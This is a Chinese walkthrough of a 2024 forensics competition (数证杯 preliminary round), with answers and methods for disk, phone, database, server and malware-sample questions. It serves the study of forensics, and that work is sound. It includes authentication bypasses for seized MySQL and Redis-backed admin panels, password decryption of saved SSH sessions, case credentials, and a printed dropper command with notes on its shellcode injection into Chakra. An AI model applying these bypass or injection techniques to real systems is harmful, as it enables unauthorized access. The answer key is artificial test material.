2024-数证杯初赛-复现

计算机取证

1.对计算机镜像进行分析,计算该镜像中ESP分区的SM3值后8位为?(答案格式:大写字母与数字组合,如:D23DDF44)

BDBE1073

ESP (EFI System Partition) 是一个小型的、格式化为 FAT32 的特殊磁盘分区,它是 UEFI 启动电脑的核心组成部分。

image-20250710201522895

故这里的分区二即为esp分区,计算其sm3值可得0F996FF3689734140D027383B87CA400FBB1083EB813E1A687D931C8BDBE1073

2.对计算机镜像进行分析,该操作系统超管账户最后一次注销时间为?(时区为UTC+08:00)(答案格式如:1970-01-01 00:00:00)

2024-10-25 22:57:32

image-20250710201852029

3.对计算机镜像进行分析,该操作系统超管账户有记录的登录次数为?(填写数字,答案格式如:1234)

24

image-20250710202512454

这里虽然只显示了21个,但筛选过security事件后可知,共有24登录记录

image-20250710202941503

4.对计算机镜像进行分析,该操作系统设置的账户密码最长存留期为多少天?(填写数字,答案格式如:1234)

42

仿真,然后 win+r 输入 secpol.msc 打开本地安全策略。

image-20250710204741832

5.对计算机镜像进行分析,该操作系统安装的数据擦除软件的版本为?(答案格式:1.23)

5.86

image-20250710204456434

6.对计算机镜像进行分析,该操作系统接入过一名称为“Realtek USB Disk autorun USB Device”的USB设备,其接入时分配的盘符为?(答案格式:A:)

E:

image-20250710204835049

7.对计算机镜像进行分析,该操作系统无线网卡分配的默认网关地址为?(答案格式:127.0.0.1) (2分)

192.168.43.1

image-20250710211129624

或者在SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces注册表中,第二个可得知

image-20250710210801177

8.对计算机镜像进行分析,该操作系统配置的连接NAS共享文件夹的IP地址为?(答案格式:127.0.0.1)

192.168.188.1

image-20250710211250619

9.对计算机镜像进行分析,写出“吵群技巧.txt”文件SM3值的后8位?(大写字母与数字组合,如:D23DDF44)

10887AE1

搜索”吵群技巧“没搜到,搜索技巧搜到

image-20250710213550838

由于编码问题,解压后得到的文件名称包含乱码,发现第二个文件可能实所需的“吵群技巧.txt”

image-20250710213736610

image-20250710214346310

10.对计算机镜像进行分析,该操作系统通过SSH连接工具连接CCTalk测试环境的SSH端口为?(填写数字,答案格式如:1234)

12849

仿真后,查看finalshell没有,遂寻找xshell

image-20250710215315101

11.对计算机镜像进行分析,该操作系统通过SSH连接工具连接的CCTalk境外服务器是哪个运营商的?(填写汉字,答案格式:阿里云)

亚马逊云

回收站里面的 xfp 文件拖出来,直接双击打开。或者还原回收站的xfp文件后,打开xftp

image-20250710215907658

发现主机地址18.55.213.79

image-20250710220046377

12.对计算机镜像进行分析,获取机主保存在本机的U盾序号的后4位数字为?(填写数字,答案格式如:1234)

6409

搜索u盾,导出文件后发现是个图片,猜测有隐写

image-20250710220403406

发现最后隐写了一个rar压缩包

image-20250710221035576

直接binwalk出来

image-20250710221416634

13.对计算机镜像进行分析,机主存储的某篇新闻报道“小程序搅动资源争夺战”的发表年份为?(答案格式:2024)

2019

搜索文件

image-20250711093130921

下载后找caj文件阅读器打开

image-20250711093110231

14.对计算机镜像进行分析,该操作系统访问“环球商贸”的IP地址为?(答案格式:127.0.0.1)

39.108.126.128

image-20250711093733003

15.对计算机镜像进行分析,“环球商贸”服务器配置的登录密码为?(答案按照实际填写,字母存在大小写)

HQSM#20231108@gwWeB

仿真后在finalshell导出json记录

image-20250711105806708

找在线网站解码

antontwelve.github.io/finalshellPasswordDecrypter/

image-20250711110011187

16.对计算机镜像进行分析,机主安装的PC-Server服务环境的登录密码是?(答案按照实际填写,字母全小写)

jlb654321

同样的

image-20250711121249280

image-20250711121346817

17.对计算机镜像进行分析,机主搭建的宝塔面板的安全入口为?(答案格式:/abc123)

/c38b336a

image-20250711121655797

18.对计算机镜像进行分析,机主搭建的宝塔面板的登录账号为?

igmxcdsa

在这个镜像中发现了其他的虚拟机文件,嵌套分析一下

image-20250711121928903

image-20250711122602070

*19.对计算机镜像进行分析,其搭建的宝塔面板的登录密码为?(按实际值填写)

取证软件自动识别出来的是加密过的密码,遂尝试通过搜索用户名去找密码

20.对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写)

17859628390

宝塔面板的用户信息一般存在 userinfo.json

image-20250711131812813

image-20250711131803705

21.对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境的root密码为?(按实际值填写) (4分)

123456

image-20250711131958116

22.对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境连接的端口号为?(填写数字,答案格式如:1234) (2分)

3306

在mysql的配置文件中发现为3306(一般也是这个)

image-20250711132350006

23.接上题,“卡号分组”表所在的数据库名为?(答案按照实际填写,字母全小写)

a_train2023

仿真起来数据库Virtural-PC,使用nat发现ens160网卡没起来,遂

ifconfig ens160 192.168.20.120 up,用navicat连接数据库

a_train2023中找到卡号分组表

image-20250711164033001

24.接上题,“孙华锦”在2020-07-01 10:49:07时间节点的交易余额为?(答案格式:1234.56)

6610.94

筛选一下,可得

image-20250711165026444

25.对U盘镜像进行分析,其镜像中共有几个分区?

2

image-20250711165201947

26.对U盘镜像进行分析,其中FAT32主分区的FAT表数量有几个?(请使用十进制数方式填写答案,答案格式:1234)

1

rstudio扫描查看信息

image-20250711170506088

27.对U盘镜像进行分析,其中FAT32主分区定义的每扇区字节数为?(请使用十进制数方式填写答案,答案格式:1234)

512

image-20250711171112199

28.对U盘镜像进行分析,其中FAT32主分区的文件系统前保留扇区数为?(请使用十进制数方式填写答案,答案格式:1234)

7345

起始扇区为2048

image-20250711171223496

保留扇区 = FAT 扇区 - 起始扇区

FAT 扇区在下一题计算了。

9393-2048

29.对U盘镜像进行分析,其中FAT32主分区的FAT1表相对于整个磁盘的起始扇区数为?(请使用十进制数方式填写答案,答案格式:1234)

9393

搜一下 FAT 分区的头 F8 FF FF

image-20250711173044458

含义解析

  1. 字节序转换

    • FAT32 使用**小端序(Little-Endian)**存储数据。

    • 原始十六进制:F8 FF FF 0F

      转换为小端序值:0F FF FF F8 → 即 0x0FFFFFF8

  2. 簇状态解释

    • 0x0FFFFFF8属于 EOF 范围(文件结束标记):

      值范围 含义
      0x0FFFFFF80x0FFFFFFF 文件结束簇(EOF)
    • 此值表示当前簇是文件/目录的最后一个簇,没有后续簇。

  3. 物理意义

    • 当 FAT 表项值为 0x0FFFFFF8时,说明:
      • 该簇已被分配给某个文件或目录。
      • 文件/目录的数据到此簇终止。
      • 文件系统读取时不再继续追踪下一个簇。

30.对U盘镜像进行分析,其中NTFS逻辑分区的$MFT起始簇号为?(请使用十进制数方式填写答案,答案格式:1234)

39082

8个扇区 = 1个簇

image-20250711173816728

312656/8=39,082

31.对U盘镜像进行分析,其中NTFS逻辑分区的簇大小为多少个扇区?(请使用十进制数方式填写答案,答案格式:1234)

8

由上图可得集群大小为8

32.对U盘镜像进行分析,请从该镜像的两个分区中找出使用“新建文本文档.txt”记录的同一个MD5值的两部分信息,并写出该MD5值的第13–20位字符串。

d668aee2

第一个分区中有导出照片

导出照片的最后一个损坏了,于是修改文件头为FF D8 FF E1

image-20250711181031900

同理另一个分区也是如此修复,得到d668aee2

image-20250711182849033

手机取证

1.对手机镜像进行分析,机主微信ID号为?(答案按照实际填写,字母全小写)

wxid_gvlyzqeyg83o22

image-20250711190924242

2.对手机镜像进行分析,机主在2023年12月登录宝塔面板使用的验证码为?(填写数字,答案格式如:1234)

482762

image-20250711191138814

3.对手机镜像进行分析,小众即时通讯“鸽哒”应用程序的最后更新时间为?(答案格式如:1970-01-01 00:00:00)

2024-09-20 09:25:19

我搜中文”鸽哒“没搜到,遂搜索geda

image-20250711191758568

4.对手机镜像进行分析,该手机中记录的最后一次开机时间。(答案格式如:1970-01-01 00:00:00)

2024-10-24 11:27:14

image-20250711191927235

5.对手机镜像进行分析,该手机中高德地图APP应用的登录ID为?(答案按照实际填写)

950980338

image-20250711192034054

6.对手机镜像进行分析,该手机中高德地图APP应用登录账号头像的SHA-256值前8位为?(答案格式:大写字母与数字组合,如:D23DDF44)

8F8A68A3

根据上图中头像位置找到图片并计算sha256

image-20250711192400793

但上边这个是其头像的原文件,这个目录下的文件才是要求的头像(很好奇怪啊,不理解)

image-20250711192820757

计算其hash得到8F8A68A3459D84E204B267E9B75F05533BEC9668334F476A31C1C154DFF7E5FA

7.对手机镜像进行分析,其中20220207-20230206的微信账单文件的解压密码为?(答案格式:按实际值填写)

847905

翻相册图片可得

image-20250711195918921

8.对手机镜像进行分析,机主在手机中存储的一张复古土砌矮墙照片的拍摄地为哪个城市?(答案格式:北京市)

景德镇市

查看图片信息

image-20250711200229966

image-20250711200557249

9.对手机镜像进行分析,通过AI合成的人脸照片中,有几张照片是通过本机当前安装的AI照片合成工具生成,并有对应记录的?(填写数字,答案格式如:1234)

3

搜索换脸搜索到

image-20250711201855701

但这个网址也查不到什么。查程序列表也找不到,遂把所有包名丢给ai,让他分析

image-20250711204634132

最后猜测这个就是那个ai换脸的app

最后在其数据库文件ksadcache.db中发现应该是换脸记录,共三条

image-20250711205753998

*10.对手机镜像进行分析,统计出通讯录号码归属地第二多的省份是?(答案格式:广东)

导出来交给ai

11.对手机镜像进行分析,找出“季令柏”身份证号后4位为?(答案格式:1234)

8043

在图片中找到,但是文件头损坏需要修改

image-20250711210830456

修复后

image-20250711211003087

12.对手机镜像进行分析,找出接收“葵花宝典1.doc”文件使用的应用程序的第一次安装时间为?(答案格式如:1970-01-01 00:00:00)

2024-09-20 09:29:40

搜索后发现是telegram

image-20250711211644067

在安装程序中找到

image-20250711211809615

13.对手机镜像进行分析,机主使用的小众即时通讯应用使用的服务器IP为?(答案格式:127.0.0.1)

163.179.125.64

将apk导出后放到奇安信沙箱分析,第二个可能性大一些

image-20250711213819161

14.对手机镜像进行分析,机主在哪个平台上发布过转让传奇游戏币的信息,请写出该平台应用APP的包名?(答案格式:com.abcd)

com.jiuwu

全局搜索

image-20250711214022350

15.对手机镜像进行分析,其中有一“双色球”网页的玩法规则中定义的“三等奖”的奖金是多少?(填写数字,答案格式如:1234)

3000

image-20250711214600065

找到数据库

image-20250713102107090

image-20250713102055158

一个一个打开,也可以观察一下网址,发现ssq为双色球,打开

image-20250713102155247

16.对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的用户ID为?(答案格式:答案按照实际填写)

2968704175

image-20250713094117537

17.对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的IP地址为?(答案格式:127.0.0.1)

192.168.110.106

软件没识别出来,遂去翻文件,找到设备的list

image-20250713101221888

image-20250713101125563

数据分析

1.对计算机,手机,U盘镜像检材综合分析,找出计算机中VC加密容器使用的登录密钥文件,其中逻辑大小较小的文件占用多少个字节?

1173

在电脑中找到类似加密容器

image-20250713103754087

在鸽哒中找到关于vc加载的信息

image-20250713104436695

image-20250713104909421

2.对计算机,手机,U盘镜像检材综合分析,写出存储的“带彩计划.txt”文件的SM3哈希值前8位;(大写字母与数字组合,如:D23DDF44)

AF30FFA1

根据上一题,猜测这个文件在加密容器中,那么就仿真解密

挂载时要注意,(1)需要用那两个快捷方式当密钥文件而不是其对应的exe文件,(2)需要双击一下那个vhd文件,然后win+x发现多了一个磁盘,然后选择多的那个磁盘当作挂载容器

image-20250713190244593

想办法导出后计算sm3

image-20250713191357576

3.对计算机,手机,U盘镜像检材综合分析,写出存储的“Shakepay买币,提币流程.ppt”文件在当前分区的起始簇号;(填写数字,答案格式如:1234)

44378

直接用虚拟机自带的winhex分析挂载的磁盘

image-20250713192359868

4.对计算机,手机,U盘镜像检材综合分析,写出存储在手机中,用于访问钱包地址的网站登录密码;(答案按照实际填写,字母全大写)

X29772024

找了一圈密码没找到,怀疑在某些不知名app中有,这个app有古怪

image-20250713202620218

数据库拉出来悄悄

image-20250713202815050

貌似找到了,观察文件头,发现都是png文件,打开文件悄悄,

image-20250713202927747

5.对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址的前8位;(答案格式:abcd1234)

91cCcA87

记得之前发现浏览器有metamask的插件,遂登录看看

image-20250713203306640

这里地址的大小写没有显示出来

6.对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址私钥的前8位;(答案格式:abcd1234)

e87dca4c

image-20250713203551248

7.对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的转入金额第三高的“对方卡号”字段的值为?

星辰

image-20250713203803670

电脑中有交易明细,依稀记得之前找过明细的压缩密码

image-20250713204015090

image-20250713204028839

导出,是pdf文件,找工具iLovePDF中文版官网 - 提供PDF文件在线转换服务导成excel,再合并免费在线合并Excel文件,写个代码分析(代码ai即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pandas as pd

# 数据加载与预处理
transaction_data = pd.read_excel('ALL.xlsx') # 加载交易数据文件

# 筛选转入交易并聚合金额
result = (
transaction_data.query("存取类型 == '转入'") # 筛选转入记录
.groupby('对方卡号', as_index=False) # 按对方卡号分组
['交易金额'].sum() # 计算转入金额总和
.sort_values('交易金额', ascending=False) # 按金额降序排序
.rename(columns={'交易金额': '转入总额'}) # 重命名列名增强可读性
)

# 格式化输出结果
print("转入交易汇总统计:")
print("=" * 40)
print(result)
print("=" * 40)
print(f"汇总记录总数: {len(result)}条")
print(f"最大转入金额: ¥{result['转入总额'].max():,.2f}")

image-20250713211208487

8.对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的“对方卡号”字段值为“陈建设”的转出净值为?(填写数字,答案格式如:1234)

228661

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import pandas as pd

# 读取交易数据
transactions = pd.read_excel('ALL.xlsx')

# 计算特定对方卡号的转出净值
def calculate_net_flow(df, counterparty_name="陈建设"):
# 筛选目标账户的交易记录
target_txns = df[df['对方卡号'] == counterparty_name]

# 分别计算转入和转出总额
inflow = target_txns.loc[target_txns['存取类型'] == '转入', '交易金额'].sum()
outflow = target_txns.loc[target_txns['存取类型'] == '转出', '交易金额'].sum()

# 计算转出净值 (转出总额 - 转入总额)
net_outflow = outflow - inflow
return net_outflow

# 计算并格式化输出结果
counterparty = "陈建设"
net_value = calculate_net_flow(transactions, counterparty)

# 专业输出格式
print(f"交易对手账户分析: {counterparty}")
print("=" * 50)
print(f"总转入金额: ¥{abs(net_value):,.2f}" if net_value < 0 else f"总转出金额: ¥{net_value:,.2f}")
print(f"净资金流向: {'转入' if net_value < 0 else '转出'}该账户")
print(f"净值金额: ¥{abs(net_value):,.2f}")
print("=" * 50)

image-20250713211834743

9.对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的交易笔数第三多的数量为?(填写数字,答案格式如:1234)

207

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pandas as pd

# 加载交易数据
txn_data = pd.read_excel('D:\\MYOS\\Case\\数证\\exportFiles\\未分类\\2.xlsx')

# 统计交易次数并格式化输出
transaction_counts = (
txn_data['对方卡号'] # 选择目标字段
.value_counts() # 统计唯一值频率(自动按计数降序)
.reset_index() # 转换序列为数据框
.rename(columns={
'index': '对方卡号', # 重命名索引列
'对方卡号': '交易次数' # 重命名计数列
})
)


print(transaction_counts)

image-20250713213324385

10.对数据分析检材中的第01-数据进行分析,办案人员从多个赌博网站中导出了100多份的报表,请统计出所有平台会员使用本币充值的总金额是多少?

17590342

先把所有 csv 合并copy *.CSV all.csv,然后转成 xlsx。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pandas as pd

csv_file = 'ALL.csv'
fixed_rows = []

# 手动读取并修复每行数据
with open(csv_file, 'r', encoding='utf-16') as f:
lines = f.readlines()
for line in lines:
# 去掉两端的空白字符,并将每一行按照逗号分割
fixed_row = [cell.strip('"') for cell in line.strip().split(',')]
fixed_rows.append(fixed_row)

# 转换为DataFrame
df = pd.DataFrame(fixed_rows)

# 查看前几行,确保数据已经正确分列
print(df.head())

# 设置列名
df.columns = ['会员账户', '会员姓名', '充值时间', '充值金额', 'IP地址']

# 保存为Excel文件
xlsx_file = 'ALL_fixed.xlsx'
df.to_excel(xlsx_file, index=False)

print(f'转换完成,已将 {csv_file} 修复并转换为 {xlsx_file}')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pandas as pd

# 读取Excel文件
xlsx_file = 'ALL_fixed.xlsx'
df = pd.read_excel(xlsx_file)

# 查看前几行,确认数据是否读取正确
print(df.head())

# 转换“充值金额”列为数值,并将无法转换的内容(如文本)设置为NaN
df['充值金额'] = pd.to_numeric(df['充值金额'], errors='coerce')

# 计算充值金额的总和,跳过NaN值(即非数值内容)
total_amount = df['充值金额'].sum()

# 输出总和
print(f"充值金额的总和为: {total_amount}")

image-20250714091905737

11.对数据分析检材中的第02-数据进行分析,办案人员在电脑中找到多个赌博网站的交易流水报表,每个报表都是以网站编号和年份命名,每个月独立生成一个sheet页。请统计出所有的交易流水总金额是多少?(答案格式::123456)

120630660

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import os
import pandas as pd
import numpy as np

def main():
# 获取当前目录下所有xlsx文件(忽略临时Excel文件)
xlsx_files = [f for f in os.listdir() if f.endswith('.xlsx') and not f.startswith('~$')]

total_amount = 0.0 # 使用浮点类型提高精度
processed_files = [] # 记录已处理文件
skipped_sheets = [] # 记录跳过的表

if not xlsx_files:
print("警告:目录中未找到任何Excel文件")
return

# 处理每个Excel文件
for filename in xlsx_files:
try:
# 一次性读取所有工作表 (减少IO操作)
sheets = pd.read_excel(filename, sheet_name=None)
processed_files.append(filename)

# 处理每个工作表
for sheet_name, df in sheets.items():
if '收支金额' not in df.columns:
skipped_sheets.append((filename, sheet_name))
continue

try:
# 转换数据类型并处理缺失值
df['收支金额'] = pd.to_numeric(df['收支金额'], errors='coerce')
# 过滤NaN值并取绝对值
valid_amounts = df['收支金额'].abs().replace(np.inf, np.nan).dropna()
total_amount += valid_amounts.sum()
except Exception as e:
print(f"处理文件 {filename} 的工作表 {sheet_name} 时出错: {str(e)}")

except Exception as e:
print(f"无法读取文件 {filename}: {str(e)}")

# 打印结果报告
print("\n" + "="*50)
print(f"已分析文件: {processed_files or '无'}")
if skipped_sheets:
print("\n跳过的工作表 (缺少'收支金额'列):")
for file, sheet in skipped_sheets:
print(f" - {file}: {sheet}")

print("\n" + "-"*50)
print(f"交易流水总金额: ¥{total_amount:,.2f}")
print("="*50)

if __name__ == "__main__":
main()

image-20250714093430496

12.对数据分析检材中的第03-数据进行分析,请从赌博平台的用户登录日志表中,统计出2020年1月1号至2020年6月30号,总共有多少位会员登录了该平台?(答案格式:123456)

4125

分析文件,发现用户桌面文件中有sql数据库

image-20250714094521177

我从本地直接导入那个数据库有些问题,于是仿真起来

SELECT COUNT(DISTINCT username) from ssc2022_member_session WHERE loginTime BETWEEN "2020-01-01" AND "2020-06-30";

image-20250714110915167

13.对数据分析检材中的第03-数据进行分析,通过还原赌博平台数据库备份文件,请统计用户投注总次数前5的彩种开奖总次数?(涉及的数据库表:ssc2022_bets,ssc2022_data)

12724

SELECT COUNT(*) FROM ssc2022_data WHERE type IN(SELECT type FROM(SELECT ssc2022_bets.type FROM ssc2022_bets GROUP BY ssc2022_bets.type ORDER BY COUNT(type)DESC LIMIT 5)as a);

image-20250714112006214

14.对数据分析检材中的第03-数据进行分析,请统计出在不止一种彩种上进行过投注的用户数量,并计算他们在2018年一共涉及了平台多少流水?(答案格式:保留三位有效数字,如:123.123)

10721.099

SELECT SUM(ABS (coin)) FROM ssc2022_coin_log WHERE actionTime>=1514736000 AND actionTime<1546272000 AND uid IN(SELECT uid FROM(SELECT uid,COUNT(DISTINCT type) AS bet_num FROM ssc2022_bets GROUP BY uid HAVING bet_num>1) as a);

image-20250714112803543

服务器取证

1.对服务器检材进行分析,站点服务器可能是从哪个云服务平台上调证过来的?(填写汉字,答案格式:亿速云)

阿里云

image-20250714113451653

2.对服务器检材进行分析,站点服务器中数据库的密码是?(按实际值填写)

Sxy000**

仿真后history查看历史命令,

image-20250714131203930

发现起了java的服务器,把文件导出来分析

image-20250714163225260

找到了启用的配置文件名称,打开对应的配置文件,发现密码

image-20250714163551560

3.对服务器检材进行分析,站点服务器用于提供服务发现的工具名是?(答案格式:zookeeper)

consul

常见的提供服务发现的工具有:

  1. Consul - Consul 是一个用于构建分布式系统的服务发现与配置工具。它提供了服务发现、健康检查以及多数据中心的支持。
  2. Etcd - Etcd 是一个分布式的键值存储,主要用于共享配置和服务发现。它的设计目标是高可用性和强一致性。
  3. Zookeeper - Zookeeper 起源于 Apache Hadoop 项目,是一个集中式的服务用于维护配置信息、命名和提供分布式同步以及组服务功能。
  4. Eureka - Eureka 是 Netflix 开发的一款基于 REST 的服务注册与发现的工具。Netflix 的中间层服务都依赖于此工具实现自动化客户端注册登记和健康状况拉取监控。
  5. Nacos - Nacos(动态服务发现、配置管理和服务管理)是阿里巴巴开源的一个更偏向于国内开发者的服务管理平台,它提供了动态DNS服务、服务发现、配置管理等能力。

image-20250714170610754

4.对服务器检材进行分析,站点服务器数据库配置文件名是?(答案格式:database.php)

application-sxj.yaml

第二题有

5.对服务器检材进行分析,该网站涉及的APP名称是?(答案格式:微信)

顺心借

image-20250714170747275

6.对服务器检材进行分析,该网站用于存储大量身份证照的OSS中的AccessKeyID后八位是?(答案格式:按实际值填写)

EuZJybzD

image-20250714171137903

7.对服务器检材进行分析,站点服务器用于消息转发代理工具所使用的端口号是?(填写数字,答案格式:3306)

5672

image-20250714173509967

消息转发代理工具是什么?

消息转发代理工具(Message Broker) 是分布式系统中负责可靠传递消息的中介。它解决了服务间通信的核心问题:

当服务A需要通知服务B时,如何确保消息不丢失、不重复,并能应对网络抖动?

核心作用

  1. 解耦:生产者(发送方)和消费者(接收方)无需知道彼此位置
  2. 缓冲:突发流量时堆积消息,避免服务雪崩
  3. 路由:根据规则将消息转发到不同队列(如 Exchange → Queue
  4. 持久化:消息存储到磁盘,服务崩溃后可恢复

典型代表工具

  • RabbitMQ:基于 AMQP 协议,高灵活性(如你的配置所示)
  • Kafka:高吞吐量,适用于日志、流处理
  • ActiveMQ:Java 生态老牌消息队列
  • RocketMQ:阿里开源,金融级可靠

8.对服务器检材进行分析,站点服务器用于启动定时任务的代码片段存在于?(答案格式:LoginIndex.class)

MobileStatusTask.class

搜索定时任务

image-20250714175408642

image-20250714175342177

9.对服务器检材进行分析,站点服务器用于验证用户输入的验证码是否匹配的代码片段存在于?(答案格式:LoginIndex.class)

AdminIndexConller.class

关于本题我有疑问,搜索后发现,这两个都有验证码验证

image-20250714185640349

image-20250714185713559

image-20250714185729397

🤔,感觉都能和答案对应,但是答案是admin的那个

10.对服务器检材进行分析,数据库服务器中Docker容器镜像中mysql的镜像ID号前6位是?(答案格式:123asd)

23b013

image-20250714204539914

11.对服务器检材进行分析,数据库服务器中DockerCompose的版本号是?(答案格式:1.1.1

2.27.1

此处ssh连接时发现ip不对,查看/etc/sysconfig/network-scripts/ifcfg-ens33

fe1b54ba43834

BOOTPROTO=static改为BOOTPROTO=dhcp,并把ipaddr(包括)之后的都删去。

image-20250714223347143

重构服务器

data 服务器

之前服务器的ip已经修改,接下来启动 docker,然后修改 mysql 的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
systemctl stop firewalld
systemctl start docker
docker exec -it mysql8.0.39 bash
sed -i '/\[mysqld\]/a skip-grant-tables' /etc/my.cnf
docker restart mysql8.0.39
docker exec -it mysql8.0.39 bash
mysql -u root -p # 空密码

FLUSH PRIVILEGES;
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
ALTER USER 'root'@'%' IDENTIFIED BY '123456';
FLUSH PRIVILEGES;

sed -i "s/skip-grant-tables/ /" /etc/my.cnf
exit
docker restart mysql8.0.39

12.对服务器检材进行分析,数据库服务器中用于存储后台登录账号的数据表名是?(答案格式:login)

sys_user

修改完mysql密码后即可通过navicat登录,可以看到sys_user这么一个表

image-20250802123556665

13.对服务器检材进行分析,后台管理员“xpt-0”所绑定的手机号码是?(答案格式:13001880188)

19521510863

由上图可知19521510863

14.对服务器检材进行分析,用户首次借款初始额度是?(填写数字,答案格式:1)

4000

image-20250802124141075

image-20250802124159459

接下来想做下面的题,还需要继续重构服务器,登录网站才可。

重构服务器

创建 sxy 用户,保证和之前 yaml 的信息对应上。

1
2
3
4
5
6
7
8
9
10
11
12
docker exec -it mysql8.0.39 bash
mysql -u root -p123456

CREATE USER 'sxy'@'%' IDENTIFIED WITH mysql_native_password BY 'Sxy000**';
GRANT ALL PRIVILEGES ON sxj_prod.* TO 'sxy'@'%';
FLUSH PRIVILEGES;
Exit

# 重启容器
docker exec -it f29 sed -i "s/skip-grant-tables/ /" /etc/my.cnf
docker restart f29
docker exec -it f2 mysql -uroot -p123456

修改后台管理员参数,启用该用户。

image-20250802135537169

system 服务器

关闭防火墙,然后修改 hosts。

vi /etc/hosts

image-20250802163857541

image-20250802163910751

修改后台跳转地址为本机地址。

1
2
cd /www/admin/
find ./ -type f -name '*js' -exec sed -i 's/47.96.140.186/192.168.8.132/g' {} + #system的ip

image-20250802160017485

连接 Redis 数据库,去加一个验证码,不然进不去后台。根据之前的java代码,发现是将验证码和redisCode进行比较,所以验证码应该是需要存入redis中的

image-20250714185713559

可以看到是从RedisConstant.ADMIN_PHONE_CODE + dto.getMobile()对应的值提取

image-20250803102921811

所以在redis数据库里边加上对应格式的验证码即可,电话号码在 data 的数据库中存着,取 id 为 24 的系统管理员的电话号码即可。

image-20250802161539972

最后重启所有服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#启动rabbitmq服务

systemctl start rabbitmq-server

#root目录下启动consul服务

cd/root

./consul.sh

#data目录下启动jar包脚本

Cd/data

./jar.sh (这个报错没关系,不影响)

后台开在 82 端口,进去以后用手机号和验证码登录即可。

15.对服务器检材进行分析,受害者在平台中一共结款了几次?(填写数字,答案格式:1)

1857

image-20250803101813686

16.对服务器检材进行分析,该平台中所有下单用户成功完成订单总金额是?(填写数字,答案格式:1)

11408100

image-20250803111857756

17.对服务器检材进行分析,该平台中逾期费率是?(答案格式:1.1)

0.1

image-20250803112624996

18.对服务器检材进行分析,该平台中累计还款总金额是?(填写数字,答案格式:1)

10194700

上边题16图有

19.对服务器检材进行分析,该平台总共设置了多少种借款额度?(填写数字,答案格式:1)

18

image-20250803132423075

第一个禁用了,共18

20.对服务器检材进行分析,该平台一共有多少个借款渠道?(填写数字,答案格式:1)

131

打开激活状态的开关,随便点一下就知道有131个

image-20250803132611615

21.对服务器检材进行分析,该平台对已完成用户收取了总计多少元服务费,结果精确到整数?(填写数字,答案格式:123)

4051915

image-20250803132853301

程序功能分析取证

1.对exe程序检材进行分析,计算程序的MD5(128bit)校验值的最后八位是?(答案格式:大写字母与数字组合,如:D23DDF44)

3CDD7939

image-20250803170135298

2.对exe程序检材进行分析,找出其释放的可执行程序的路径?(答案格式:D:\Document\Aaaa)

C:\Program Files\Cloudflare

微步沙箱分析可知,

image-20250803172254447

也可手动分析,010打开注意到,一大堆代码,可见是利用下边的代码执行恶意载荷

image-20250803173501286

上部分是恶意载荷,复制出来解url可见是被混淆过的,字符级混淆API名称混淆数学运算干扰编码数据混淆自定义加密算法,丢给ai解混淆,分析

image-20250803174536371

同样可得结果

3.对exe程序检材进行分析,找出其启动释放的可执行程序时命令的最后一个参数是什么?(答案格式:按实际值填写)

8.8.8.8

ai分析:

执行命令的代码片段

1
JEuh.run """" & eUCZzUm1C & """" & Chr(Int("&H20"))&Chr(116)&" "&Chr(56)&Chr(46)&Chr(50736/906)&Chr(&H2e)&Chr(56)&Chr(46)&Chr(&H38),0,false

参数解析

  1. 基本结构

    • eUCZzUm1C= 可执行文件路径(C:\Program Files\Cloudflare\warp.exe
    • 后面部分是参数列表
  2. 参数解码

    代码片段 ASCII值 对应字符 含义
    Chr(Int("&H20")) 32 (空格) 参数分隔符
    Chr(116) 116 t 参数1
    " " 32 (空格) 分隔符
    Chr(56) 56 8
    Chr(46) 46 .
    Chr(50736/906) 56 8
    Chr(&H2e) 46 .
    Chr(56) 56 8
    Chr(46) 46 .
    Chr(&H38) 56 8 最后参数

最终完整命令

1
"C:\Program Files\Cloudflare\warp.exe" t 8.8.8.8

4.对exe程序检材进行分析,该程序在执行时,会解密并写入一段字节码到Chakra模块的一个特定导出函数的内存地址中,以此来伪装调用的目的,请给出这个导出函数的名称?(答案格式:按实际函数名称填写)

JsProjectWinRTNamespace

这个需要弄个沙箱让他把文件跑出来,再调试一下了

我们知道,VirtualProtect是 Windows 操作系统提供的一个关键 API 函数,用于动态修改内存页的保护属性,所以我们给VirtualProtect处下个断点,然后调试程序就能知道哪个函数了,调试前将命令后边加个参数t 8.8.8.8

image-20250803231059952

F9运行

image-20250803231332985

再继续运行,观察到对内存进行了修改,可知导出函数的名称为JsProjectWinRTNamespace

image-20250803231419413

5.对exe程序检材进行分析,请问Chakra模块的代码段被修改了多少字节(答案格式:0x1122) (2分)

0x3c809

ida分析可知,memmove的第三个参数为shellcode的大小,也就是下下图参数区域(红框)的第三个参数

image-20250804175745069

image-20250804135147205

同时,通过对ida的分析也可知道

image-20250804193145846

6.对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且_IMAGE_NT_HEADERS头部的PE签名已经被修改,请给出修改后的签名值(答案格式:0x11 0x22) (2分)

0x4E 0x4F

内存布局示意图:

┌───────────────────────┐
│ DOS Header │
│ (e_magic = “MZ”) │
├───────────────────────┤
│ DOS Stub │
│ (小型DOS程序) │
├───────────────────────┤
│ Signature (“PE\0\0”) │ ← _IMAGE_NT_HEADERS开始
├───────────────────────┤
│ IMAGE_FILE_HEADER │
│ - Machine │
